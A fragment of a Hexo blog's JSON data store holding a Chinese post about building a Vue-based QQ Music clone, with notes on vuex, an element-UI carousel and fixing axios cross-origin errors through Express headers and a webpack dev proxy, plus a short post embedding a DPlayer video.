维护，所以我就选用了element-UI里面的跑马灯式轮播图组件，大体来说，除了部分瑕疵以外，还是高度还原了原版轮播图的。\n\n### axios后端数据获取时产生的跨域问题\n\n*  重点来了，这个是我在该项目中花了最多时间的地方，相信很多同学使用axios都碰到过我这个问题，目前我这里使用了三种方法处理该问题，请大家针对自己的项目问题对号入座\n    \n*  跨域访问，简单来说就是 A 网站的 javascript 代码试图访问 B 网站，包括提交内容和获取内容。由于安全原因，跨域访问是被各大浏览器所默认禁止的。\n    \n①. 针对本地相同端口服务器之间的跨域\n   \n*  这是我刚开始碰到问题时使用的第一种，这个时候你只需要找到build文件中的dev-server，找到引用express的位置，给它加上一个头文件：\n    ``` \n    app.all('*', function (req, res, next) {\n    res.header(\"Access-Control-Allow-Credentials\", true)\n    res.header(\"Access-Control-Allow-Origin\", \"*\")\n    res.header(\"Access-Control-Allow-Headers\", \"X-Requested-With\")\n    res.header(\"Access-Control-Allow-Methods\", \"PUT,POST,GET,DELETE,OPTIONS\")\n    res.header(\"X-Powered-By\", ' 3.2.1')\n    res.header(\"Content-Type\", \"application/json;charset=utf-8\")\n    next()\n    })\n    ```\n        \n>  ![](https://ooo.0o0.ooo/2017/06/14/594140894d162.jpg)\n\n*  然后它就会报错~，具体原因是你同一个端口申请相同端口的东西,不好意思，那不叫跨域...\n<br>       \n②. 针对本地不同端口的服务器之间的跨域\n     \n*  就是将上面的头文件放在当前项目申请的服务器的那个api中。\n<br>        \n③. 针对本地服务器对域名服务器访问的跨域问题\n        \n*  找到当前项目congfig文件夹下index.js文件，然后在文件中将proxyTable内容改为：\n   ```\n   proxyTable: {\n      '/api': {\n      target: '[1]',\n      changeOrigin: true,\n      pathRewrite: {\n      '^/api': '/'\n      }\n     }\n    }\n    ```\n   \n >就是你当前想访问的api地址，项目中访问的时候就只要用/api做反向代理即可\n        \n## 终于\n\n*  这是我第一个用vue撸的项目，可能功能有点简陋，很多地方有待提高，不过这次实践让我对组件化的理解有了一定的提升，后期会继续加入其它功能模块的，文中有用词不对的地方，欢迎大家指出，项目有什么bug，也希望大家多多提issue\n \n*  如果对你有帮助，给个star吧\n \n* [我的简历](http://jzxer.cn/about/)\n ![](https://ooo.0o0.ooo/2017/06/14/594148dc7c4f1.gif)\n","source":"_posts/vue高仿qq音乐官网.md","raw":"---\ntitle: vue高仿qq音乐官网\ndate: 2017-06-15 18:36:30\ntags: [vue, vuex, vue-router]\ncategories: web项目\ntop: true\n---\n\n一直想做一个vue项目 然后呢 我就做了\n\n## 效果预览\n\n部分地方不全部根据原版，也有自由发挥的，目前功能模块比较简陋，如果显示不完整，请下载以下api文件并打开\n>  [网易云音乐API](https://github.com/Binaryify/NeteaseCloudMusicApi)\n\n\n> 项目地址：[github](https://github.com/j710328466/vue-qqmusic)\n\n> 预览地址：[demo](http://182.254.147.168:8564/#/)\n\n## Build Setup\n\n\n```\n# install dependencies\ncnpm i\n(可以用cnpm或yarn，更方便快捷，你值得拥有)\n\n# serve with hot reload at localhost:8564\nnpm run dev\n\n# build for production with minification\nnpm run build\n\n# build for production and view the bundle analyzer report\nnpm run build --report\n\n# 网易云API部署 listen localhost:3000\nnpm run start \n```\n##  技术栈\n\n*  vue(数据绑定)\n*  vue-router\n*  vuex(管理组件状态，实现组件通信）\n*  webpack(打包工具)\n*  scss（原来想用stylus,回头看看我都快写完了...）\n*  axios（我等下要重点讲这****）\n*  组件库: element-UI(本来想用muse-UI,感觉那个更cool，下次吧..) \n*  API: 网易云音乐API(仿qq音乐我用网易云音乐的东西，你怕不怕...)\n\n## 核心功能组件的实现\n\n### 搜索功能\n\n![](https://ooo.0o0.ooo/2017/06/14/594135198d975.gif)\n\n###  播放功能\n\n![](https://ooo.0o0.ooo/2017/06/14/5941364de751e.gif)\n    (播放页面正在完善中，样式只是大概，待细化...)\n\n### 跳转功能\n    \n![](https://ooo.0o0.ooo/2017/06/14/59415a8cd0df7.gif)\n    (目前子目录只开通歌手列表)\n\n\n## 自己挖的坑，自己埋\n\n### vuex的模块应用\n\n*  一开始我并没有使用vuex，因为我觉得目前这个项目比较小，并不需要它来管理数据，毕竟vuex针对大项目来说确实很好用，但是后来考虑到如果后期该项目我还要    维护，数据量一大，还是要重新分类数据，所以中途某些地方插入了vuex的使用，这就很大一部分影响了项目进行的进度。（目前只用到action和state）\n\n### qq音乐的轮播图\n*  不用说，qq音乐这个网站的页面我是真的挺喜欢，不光是他的设计，页面的布局也很美观，在控制台调试的时候可以看看它的结构，非常有层次而富有美感，即使加上    一层margin,padding也不会有违和感。这就造就了它的轮播图结构比较麻烦，不是说做不出来，因为这是第一次上传的项目，我想先将大概的结构完善一下，后期再    维护，所以我就选用了element-UI里面的跑马灯式轮播图组件，大体来说，除了部分瑕疵以外，还是高度还原了原版轮播图的。\n\n### axios后端数据获取时产生的跨域问题\n\n*  重点来了，这个是我在该项目中花了最多时间的地方，相信很多同学使用axios都碰到过我这个问题，目前我这里使用了三种方法处理该问题，请大家针对自己的项目问题对号入座\n    \n*  跨域访问，简单来说就是 A 网站的 javascript 代码试图访问 B 网站，包括提交内容和获取内容。由于安全原因，跨域访问是被各大浏览器所默认禁止的。\n    \n①. 针对本地相同端口服务器之间的跨域\n   \n*  这是我刚开始碰到问题时使用的第一种，这个时候你只需要找到build文件中的dev-server，找到引用express的位置，给它加上一个头文件：\n    ``` \n    app.all('*', function (req, res, next) {\n    res.header(\"Access-Control-Allow-Credentials\", true)\n    res.header(\"Access-Control-Allow-Origin\", \"*\")\n    res.header(\"Access-Control-Allow-Headers\", \"X-Requested-With\")\n    res.header(\"Access-Control-Allow-Methods\", \"PUT,POST,GET,DELETE,OPTIONS\")\n    res.header(\"X-Powered-By\", ' 3.2.1')\n    res.header(\"Content-Type\", \"application/json;charset=utf-8\")\n    next()\n    })\n    ```\n        \n>  ![](https://ooo.0o0.ooo/2017/06/14/594140894d162.jpg)\n\n*  然后它就会报错~，具体原因是你同一个端口申请相同端口的东西,不好意思，那不叫跨域...\n<br>       \n②. 针对本地不同端口的服务器之间的跨域\n     \n*  就是将上面的头文件放在当前项目申请的服务器的那个api中。\n<br>        \n③. 针对本地服务器对域名服务器访问的跨域问题\n        \n*  找到当前项目congfig文件夹下index.js文件，然后在文件中将proxyTable内容改为：\n   ```\n   proxyTable: {\n      '/api': {\n      target: '[1]',\n      changeOrigin: true,\n      pathRewrite: {\n      '^/api': '/'\n      }\n     }\n    }\n    ```\n   \n >就是你当前想访问的api地址，项目中访问的时候就只要用/api做反向代理即可\n        \n## 终于\n\n*  这是我第一个用vue撸的项目，可能功能有点简陋，很多地方有待提高，不过这次实践让我对组件化的理解有了一定的提升，后期会继续加入其它功能模块的，文中有用词不对的地方，欢迎大家指出，项目有什么bug，也希望大家多多提issue\n \n*  如果对你有帮助，给个star吧\n \n* [我的简历](http://jzxer.cn/about/)\n ![](https://ooo.0o0.ooo/2017/06/14/594148dc7c4f1.gif)\n","slug":"vue高仿qq音乐官网","published":1,"updated":"2018-01-31T07:51:39.916Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5w002gvzqh5rqnj8nh","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>一直想做一个vue项目 然后呢 我就做了</p>\n<h2 id=\"效果预览\"><a href=\"#效果预览\" class=\"headerlink\" title=\"效果预览\"></a>效果预览</h2><p>部分地方不全部根据原版，也有自由发挥的，目前功能模块比较简陋，如果显示不完整，请下载以下api文件并打开</p>\n<blockquote>\n<p> <a href=\"https://github.com/Binaryify/NeteaseCloudMusicApi\" target=\"_blank\" rel=\"noopener\">网易云音乐API</a></p>\n</blockquote>\n<blockquote>\n<p>项目地址：<a href=\"https://github.com/j710328466/vue-qqmusic\" target=\"_blank\" rel=\"noopener\">github</a></p>\n</blockquote>\n<blockquote>\n<p>预览地址：<a href=\"http://182.254.147.168:8564/#/\" target=\"_blank\" rel=\"noopener\">demo</a></p>\n</blockquote>\n<h2 id=\"Build-Setup\"><a href=\"#Build-Setup\" class=\"headerlink\" title=\"Build Setup\"></a>Build Setup</h2><pre><code># install dependencies\ncnpm i\n(可以用cnpm或yarn，更方便快捷，你值得拥有)\n\n# serve with hot reload at localhost:8564\nnpm run dev\n\n# build for production with minification\nnpm run build\n\n# build for production and view the bundle analyzer report\nnpm run build --report\n\n# 网易云API部署 listen localhost:3000\nnpm run start \n</code></pre><h2 id=\"技术栈\"><a href=\"#技术栈\" class=\"headerlink\" title=\"技术栈\"></a>技术栈</h2><ul>\n<li>vue(数据绑定)</li>\n<li>vue-router</li>\n<li>vuex(管理组件状态，实现组件通信）</li>\n<li>webpack(打包工具)</li>\n<li>scss（原来想用stylus,回头看看我都快写完了…）</li>\n<li>axios（我等下要重点讲这<em>**</em>）</li>\n<li>组件库: element-UI(本来想用muse-UI,感觉那个更cool，下次吧..) </li>\n<li>API: 网易云音乐API(仿qq音乐我用网易云音乐的东西，你怕不怕…)</li>\n</ul>\n<h2 id=\"核心功能组件的实现\"><a href=\"#核心功能组件的实现\" class=\"headerlink\" title=\"核心功能组件的实现\"></a>核心功能组件的实现</h2><h3 id=\"搜索功能\"><a href=\"#搜索功能\" class=\"headerlink\" title=\"搜索功能\"></a>搜索功能</h3><p><img src=\"https://ooo.0o0.ooo/2017/06/14/594135198d975.gif\" alt=\"\"></p>\n<h3 id=\"播放功能\"><a href=\"#播放功能\" class=\"headerlink\" title=\"播放功能\"></a>播放功能</h3><p><img src=\"https://ooo.0o0.ooo/2017/06/14/5941364de751e.gif\" alt=\"\"><br>    (播放页面正在完善中，样式只是大概，待细化…)</p>\n<h3 id=\"跳转功能\"><a href=\"#跳转功能\" class=\"headerlink\" title=\"跳转功能\"></a>跳转功能</h3><p><img src=\"https://ooo.0o0.ooo/2017/06/14/59415a8cd0df7.gif\" alt=\"\"><br>    (目前子目录只开通歌手列表)</p>\n<h2 id=\"自己挖的坑，自己埋\"><a href=\"#自己挖的坑，自己埋\" class=\"headerlink\" title=\"自己挖的坑，自己埋\"></a>自己挖的坑，自己埋</h2><h3 id=\"vuex的模块应用\"><a href=\"#vuex的模块应用\" class=\"headerlink\" title=\"vuex的模块应用\"></a>vuex的模块应用</h3><ul>\n<li>一开始我并没有使用vuex，因为我觉得目前这个项目比较小，并不需要它来管理数据，毕竟vuex针对大项目来说确实很好用，但是后来考虑到如果后期该项目我还要    维护，数据量一大，还是要重新分类数据，所以中途某些地方插入了vuex的使用，这就很大一部分影响了项目进行的进度。（目前只用到action和state）</li>\n</ul>\n<h3 id=\"qq音乐的轮播图\"><a href=\"#qq音乐的轮播图\" class=\"headerlink\" title=\"qq音乐的轮播图\"></a>qq音乐的轮播图</h3><ul>\n<li>不用说，qq音乐这个网站的页面我是真的挺喜欢，不光是他的设计，页面的布局也很美观，在控制台调试的时候可以看看它的结构，非常有层次而富有美感，即使加上    一层margin,padding也不会有违和感。这就造就了它的轮播图结构比较麻烦，不是说做不出来，因为这是第一次上传的项目，我想先将大概的结构完善一下，后期再    维护，所以我就选用了element-UI里面的跑马灯式轮播图组件，大体来说，除了部分瑕疵以外，还是高度还原了原版轮播图的。</li>\n</ul>\n<h3 id=\"axios后端数据获取时产生的跨域问题\"><a href=\"#axios后端数据获取时产生的跨域问题\" class=\"headerlink\" title=\"axios后端数据获取时产生的跨域问题\"></a>axios后端数据获取时产生的跨域问题</h3><ul>\n<li><p>重点来了，这个是我在该项目中花了最多时间的地方，相信很多同学使用axios都碰到过我这个问题，目前我这里使用了三种方法处理该问题，请大家针对自己的项目问题对号入座</p>\n</li>\n<li><p>跨域访问，简单来说就是 A 网站的 javascript 代码试图访问 B 网站，包括提交内容和获取内容。由于安全原因，跨域访问是被各大浏览器所默认禁止的。</p>\n</li>\n</ul>\n<p>①. 针对本地相同端口服务器之间的跨域</p>\n<ul>\n<li>这是我刚开始碰到问题时使用的第一种，这个时候你只需要找到build文件中的dev-server，找到引用express的位置，给它加上一个头文件：<pre><code> app.all(&#39;*&#39;, function (req, res, next) {\n res.header(&quot;Access-Control-Allow-Credentials&quot;, true)\n res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;)\n res.header(&quot;Access-Control-Allow-Headers&quot;, &quot;X-Requested-With&quot;)\n res.header(&quot;Access-Control-Allow-Methods&quot;, &quot;PUT,POST,GET,DELETE,OPTIONS&quot;)\n res.header(&quot;X-Powered-By&quot;, &#39; 3.2.1&#39;)\n res.header(&quot;Content-Type&quot;, &quot;application/json;charset=utf-8&quot;)\n next()\n })\n</code></pre></li>\n</ul>\n<blockquote>\n<p> <img src=\"https://ooo.0o0.ooo/2017/06/14/594140894d162.jpg\" alt=\"\"></p>\n</blockquote>\n<ul>\n<li><p>然后它就会报错~，具体原因是你同一个端口申请相同端口的东西,不好意思，那不叫跨域…<br><br><br>②. 针对本地不同端口的服务器之间的跨域</p>\n</li>\n<li><p>就是将上面的头文件放在当前项目申请的服务器的那个api中。<br><br><br>③. 针对本地服务器对域名服务器访问的跨域问题</p>\n</li>\n<li><p>找到当前项目congfig文件夹下index.js文件，然后在文件中将proxyTable内容改为：</p>\n<pre><code>proxyTable: {\n   &#39;/api&#39;: {\n   target: &#39;[1]&#39;,\n   changeOrigin: true,\n   pathRewrite: {\n   &#39;^/api&#39;: &#39;/&#39;\n   }\n  }\n }\n</code></pre><blockquote>\n<p>就是你当前想访问的api地址，项目中访问的时候就只要用/api做反向代理即可</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"终于\"><a href=\"#终于\" class=\"headerlink\" title=\"终于\"></a>终于</h2><ul>\n<li><p>这是我第一个用vue撸的项目，可能功能有点简陋，很多地方有待提高，不过这次实践让我对组件化的理解有了一定的提升，后期会继续加入其它功能模块的，文中有用词不对的地方，欢迎大家指出，项目有什么bug，也希望大家多多提issue</p>\n</li>\n<li><p>如果对你有帮助，给个star吧</p>\n</li>\n<li><p><a href=\"http://jzxer.cn/about/\" target=\"_blank\" rel=\"noopener\">我的简历</a><br><img src=\"https://ooo.0o0.ooo/2017/06/14/594148dc7c4f1.gif\" alt=\"\"></p>\n</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>一直想做一个vue项目 然后呢 我就做了</p>\n<h2 id=\"效果预览\"><a href=\"#效果预览\" class=\"headerlink\" title=\"效果预览\"></a>效果预览</h2><p>部分地方不全部根据原版，也有自由发挥的，目前功能模块比较简陋，如果显示不完整，请下载以下api文件并打开</p>\n<blockquote>\n<p> <a href=\"https://github.com/Binaryify/NeteaseCloudMusicApi\" target=\"_blank\" rel=\"noopener\">网易云音乐API</a></p>\n</blockquote>\n<blockquote>\n<p>项目地址：<a href=\"https://github.com/j710328466/vue-qqmusic\" target=\"_blank\" rel=\"noopener\">github</a></p>\n</blockquote>\n<blockquote>\n<p>预览地址：<a href=\"http://182.254.147.168:8564/#/\" target=\"_blank\" rel=\"noopener\">demo</a></p>\n</blockquote>\n<h2 id=\"Build-Setup\"><a href=\"#Build-Setup\" class=\"headerlink\" title=\"Build Setup\"></a>Build Setup</h2><pre><code># install dependencies\ncnpm i\n(可以用cnpm或yarn，更方便快捷，你值得拥有)\n\n# serve with hot reload at localhost:8564\nnpm run dev\n\n# build for production with minification\nnpm run build\n\n# build for production and view the bundle analyzer report\nnpm run build --report\n\n# 网易云API部署 listen localhost:3000\nnpm run start \n</code></pre><h2 id=\"技术栈\"><a href=\"#技术栈\" class=\"headerlink\" title=\"技术栈\"></a>技术栈</h2><ul>\n<li>vue(数据绑定)</li>\n<li>vue-router</li>\n<li>vuex(管理组件状态，实现组件通信）</li>\n<li>webpack(打包工具)</li>\n<li>scss（原来想用stylus,回头看看我都快写完了…）</li>\n<li>axios（我等下要重点讲这<em>**</em>）</li>\n<li>组件库: element-UI(本来想用muse-UI,感觉那个更cool，下次吧..) </li>\n<li>API: 网易云音乐API(仿qq音乐我用网易云音乐的东西，你怕不怕…)</li>\n</ul>\n<h2 id=\"核心功能组件的实现\"><a href=\"#核心功能组件的实现\" class=\"headerlink\" title=\"核心功能组件的实现\"></a>核心功能组件的实现</h2><h3 id=\"搜索功能\"><a href=\"#搜索功能\" class=\"headerlink\" title=\"搜索功能\"></a>搜索功能</h3><p><img src=\"https://ooo.0o0.ooo/2017/06/14/594135198d975.gif\" alt=\"\"></p>\n<h3 id=\"播放功能\"><a href=\"#播放功能\" class=\"headerlink\" title=\"播放功能\"></a>播放功能</h3><p><img src=\"https://ooo.0o0.ooo/2017/06/14/5941364de751e.gif\" alt=\"\"><br>    (播放页面正在完善中，样式只是大概，待细化…)</p>\n<h3 id=\"跳转功能\"><a href=\"#跳转功能\" class=\"headerlink\" title=\"跳转功能\"></a>跳转功能</h3><p><img src=\"https://ooo.0o0.ooo/2017/06/14/59415a8cd0df7.gif\" alt=\"\"><br>    (目前子目录只开通歌手列表)</p>\n<h2 id=\"自己挖的坑，自己埋\"><a href=\"#自己挖的坑，自己埋\" class=\"headerlink\" title=\"自己挖的坑，自己埋\"></a>自己挖的坑，自己埋</h2><h3 id=\"vuex的模块应用\"><a href=\"#vuex的模块应用\" class=\"headerlink\" title=\"vuex的模块应用\"></a>vuex的模块应用</h3><ul>\n<li>一开始我并没有使用vuex，因为我觉得目前这个项目比较小，并不需要它来管理数据，毕竟vuex针对大项目来说确实很好用，但是后来考虑到如果后期该项目我还要    维护，数据量一大，还是要重新分类数据，所以中途某些地方插入了vuex的使用，这就很大一部分影响了项目进行的进度。（目前只用到action和state）</li>\n</ul>\n<h3 id=\"qq音乐的轮播图\"><a href=\"#qq音乐的轮播图\" class=\"headerlink\" title=\"qq音乐的轮播图\"></a>qq音乐的轮播图</h3><ul>\n<li>不用说，qq音乐这个网站的页面我是真的挺喜欢，不光是他的设计，页面的布局也很美观，在控制台调试的时候可以看看它的结构，非常有层次而富有美感，即使加上    一层margin,padding也不会有违和感。这就造就了它的轮播图结构比较麻烦，不是说做不出来，因为这是第一次上传的项目，我想先将大概的结构完善一下，后期再    维护，所以我就选用了element-UI里面的跑马灯式轮播图组件，大体来说，除了部分瑕疵以外，还是高度还原了原版轮播图的。</li>\n</ul>\n<h3 id=\"axios后端数据获取时产生的跨域问题\"><a href=\"#axios后端数据获取时产生的跨域问题\" class=\"headerlink\" title=\"axios后端数据获取时产生的跨域问题\"></a>axios后端数据获取时产生的跨域问题</h3><ul>\n<li><p>重点来了，这个是我在该项目中花了最多时间的地方，相信很多同学使用axios都碰到过我这个问题，目前我这里使用了三种方法处理该问题，请大家针对自己的项目问题对号入座</p>\n</li>\n<li><p>跨域访问，简单来说就是 A 网站的 javascript 代码试图访问 B 网站，包括提交内容和获取内容。由于安全原因，跨域访问是被各大浏览器所默认禁止的。</p>\n</li>\n</ul>\n<p>①. 针对本地相同端口服务器之间的跨域</p>\n<ul>\n<li>这是我刚开始碰到问题时使用的第一种，这个时候你只需要找到build文件中的dev-server，找到引用express的位置，给它加上一个头文件：<pre><code> app.all(&#39;*&#39;, function (req, res, next) {\n res.header(&quot;Access-Control-Allow-Credentials&quot;, true)\n res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;)\n res.header(&quot;Access-Control-Allow-Headers&quot;, &quot;X-Requested-With&quot;)\n res.header(&quot;Access-Control-Allow-Methods&quot;, &quot;PUT,POST,GET,DELETE,OPTIONS&quot;)\n res.header(&quot;X-Powered-By&quot;, &#39; 3.2.1&#39;)\n res.header(&quot;Content-Type&quot;, &quot;application/json;charset=utf-8&quot;)\n next()\n })\n</code></pre></li>\n</ul>\n<blockquote>\n<p> <img src=\"https://ooo.0o0.ooo/2017/06/14/594140894d162.jpg\" alt=\"\"></p>\n</blockquote>\n<ul>\n<li><p>然后它就会报错~，具体原因是你同一个端口申请相同端口的东西,不好意思，那不叫跨域…<br><br><br>②. 针对本地不同端口的服务器之间的跨域</p>\n</li>\n<li><p>就是将上面的头文件放在当前项目申请的服务器的那个api中。<br><br><br>③. 针对本地服务器对域名服务器访问的跨域问题</p>\n</li>\n<li><p>找到当前项目congfig文件夹下index.js文件，然后在文件中将proxyTable内容改为：</p>\n<pre><code>proxyTable: {\n   &#39;/api&#39;: {\n   target: &#39;[1]&#39;,\n   changeOrigin: true,\n   pathRewrite: {\n   &#39;^/api&#39;: &#39;/&#39;\n   }\n  }\n }\n</code></pre><blockquote>\n<p>就是你当前想访问的api地址，项目中访问的时候就只要用/api做反向代理即可</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"终于\"><a href=\"#终于\" class=\"headerlink\" title=\"终于\"></a>终于</h2><ul>\n<li><p>这是我第一个用vue撸的项目，可能功能有点简陋，很多地方有待提高，不过这次实践让我对组件化的理解有了一定的提升，后期会继续加入其它功能模块的，文中有用词不对的地方，欢迎大家指出，项目有什么bug，也希望大家多多提issue</p>\n</li>\n<li><p>如果对你有帮助，给个star吧</p>\n</li>\n<li><p><a href=\"http://jzxer.cn/about/\" target=\"_blank\" rel=\"noopener\">我的简历</a><br><img src=\"https://ooo.0o0.ooo/2017/06/14/594148dc7c4f1.gif\" alt=\"\"></p>\n</li>\n</ul>\n"},{"title":"wuti","date":"2017-07-31T14:59:35.000Z","_content":"\n### 无题\n\n\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com//video/mp4/wuti.mp4\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=4\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","source":"_posts/wuti.md","raw":"---\ntitle: wuti\ndate: 2017-07-31 22:59:35\ntags: [指弹]\ncategories: 音乐\n---\n\n### 无题\n\n\n{% dplayer \n    \"url=http://orjedzer5.bkt.clouddn.com//video/mp4/wuti.mp4\" \n    \"api=http://dplayer.daoapp.io\"  \n    \"id=4\" \n    \"loop=yes\" \n    \"theme=#fff\" \n    \"autoplay=true\" \n    \"token=tokendemo\" \n%}","slug":"wuti","published":1,"updated":"2018-01-22T06:31:46.672Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5y002jvzqh2dz5r8my","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"无题\"><a href=\"#无题\" class=\"headerlink\" title=\"无题\"></a>无题</h3><div id=\"dplayer1\" class=\"dplayer hexo-tag-dplayer-mark\" style=\"margin-bottom: 20px;\"></div><script>(function(){var player = new DPlayer({\"container\":document.getElementById(\"dplayer1\"),\"autoplay\":true,\"theme\":\"#fff\",\"loop\":true,\"video\":{\"url\":\"http://orjedzer5.bkt.clouddn.com//video/mp4/wuti.mp4\"},\"danmaku\":{\"id\":\"4\",\"api\":\"http://dplayer.daoapp.io\",\"token\":\"tokendemo\"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%